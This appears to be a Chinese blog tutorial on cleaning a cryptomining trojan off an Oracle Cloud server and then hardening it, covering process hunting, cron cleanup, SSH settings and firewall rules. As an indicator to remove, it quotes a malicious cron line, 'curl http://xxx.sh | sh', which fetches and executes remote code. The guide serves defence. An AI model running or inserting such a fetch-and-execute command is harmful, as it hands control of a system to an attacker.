最近看到不少朋友在抱怨,明明没跑什么重活,自己的 Oracle Cloud(甲骨文云)服务器 CPU 却常年 100% 占用。一查进程好家伙,全是莫名其妙的陌生脚本在跑——恭喜你,中招了,被种了挖矿木马。

其实甲骨文因为资源免费(或极其便宜),再加上很多用户默认的安全配置比较松懈,早就成了脚本小子们的重点扫描对象。既然事儿已经出了,光骂黑客没用,咱们得赶紧想办法止损并查漏补缺。

服务器 CPU 满载挖矿概念图

服务器中挖矿木马后 CPU 占用通常飙升至 100%

今天这篇不长篇大论讲原理,直接上干货,分三步走:止损、清理、加固

第一步:紧急止损,切断连接

当你发现服务器异常时,第一反应不是去查这是什么病毒,而是先切断它和外界的联系。

  1. 暂停实例:这是最快的方法,直接在甲骨文控制台把实例暂停(Stop)。这一步能立刻停止挖矿进程,防止继续消耗配额产生潜在费用(虽然甲骨文免费层比较稳,但被用来做 DDoS 跳板就不好玩了)。
  2. 进入 VPS 控制台:不要用 SSH 连接,直接用网页版的 VNC Console 串口进去。因为很多高等级的挖矿病毒会篡改 SSH 配置或者连接,直接连可能会触发后门。

第二步:查杀进程与可疑文件

连上去之后,别急着删除,先摸清底细。

1. 查找高 CPU 占用进程

输入 top 命令,按 c 查看完整命令行。通常挖矿进程名字伪装得很隐蔽,比如叫 [kdevtmpfsi][sysupdate]xmrig 或者干脆就是一个乱码文件。记下 PID 和进程启动的路径。

Linux top 命令查杀进程示意图

使用 top 命令查看占用 CPU 较高的可疑进程

如果 top 看着眼花缭乱,可以用 htop(如果没有先安装 yum install htopapt install htop),界面更友好。

2. 强制结束进程

找到 PID 后,使用 kill -9 <PID> 结束它。如果一杀掉它立马又自动复活(守护进程在搞鬼),那就需要先找到父进程。用 ps -ef | grep <可疑名字> 查看谁生成了它,把父进程也一起干掉。

3. 清理定时任务(重中之重)

很多新手只杀了进程,过几分钟 CPU 又爆了。原因通常在 Cron 里。

检查这些地方:

  • crontab -l (查看当前用户的定时任务)
  • cat /etc/crontab
  • ls /etc/cron.d/
  • ls /var/spool/cron/

如果发现每分钟执行一次 curl http://xxx.sh | sh 或者 wget xxx 之类的命令,二话不说,注释掉或删除这一行。

4. 清理启动项和文件

挖矿脚本通常会把自己写入系统启动项。

  • 检查 /etc/rc.local/etc/systemd/system/ 下有没有陌生的服务。
  • 根据第一步 top 里看到的路径,去把对应的恶意可执行文件删掉。记得顺手用 rm -rf 把它的家目录也清了。

第三步:亡羊补牢,安全加固

清理干净只是解决了现在的问题,不加固过两天还得被黑。甲骨文的服务器默认安全组(Security List)放行得比较宽,这是隐患。

1. 修改所有密码

不用怀疑,你的 root 密码可能早就泄露了(哪怕是弱密码被爆破)。立刻执行 passwd 修改密码。如果用的是 SSH Key,检查 ~/.ssh/authorized_keys,删掉你不认识的公钥。

2. SSH 端口与配置优化 黑客也是懒的,他们首选扫描默认 22 端口。

  • 改端口:编辑 /etc/ssh/sshd_config,把 Port 22 改成一个高位端口(比如 22222)。
  • 禁用 root 登录:把 PermitRootLogin yes 改为 no,平时只用普通账户登录,需要管理权限时再 sudo -i
  • 禁用密码登录(进阶):如果技术允许,设置 PasswordAuthentication no,只允许 SSH Key 登录,这能挡住 99% 的暴力破解。

修改完记得重启服务:systemctl restart sshd

3. 配置防火墙(iptables 或 UFW)

不要只依赖甲骨文控制台的防火墙,服务器内部也要装一道防线。

如果是 Ubuntu/Debian,推荐用 UFW:

ufw allow ssh
ufw allow 80/tcp
ufw allow 443/tcp
ufw enable

如果是 CentOS,可以使用 firewalld 或 iptables。原则是:只开放必要的端口,其他全部 DROP

4. 严控甲骨文安全组

回到甲骨文后台,找到「Virtual Cloud Network」 -> 「Security Lists」。把你不需要的 ICMP(Ping)、除了 SSH 和 Web 之外的所有端口统统关掉。如果只做科学上网,就只放行需要的端口,别给黑客留后门。

总结

VPS 被挖矿就像家里进了贼,发现了不可怕,关键是要换锁(改密码/改端口)并装防盗窗(防火墙)。平时没事多看看日志(last -b 查看登录记录),发现异地的 IP 登录记录就要警惕了。

希望这篇教程能帮你的服务器“重获新生”,别再把免费的 CPU 资源免费送给别人啦!

标签: none

AI Skills Smart Station on Nick Launches

评论已关闭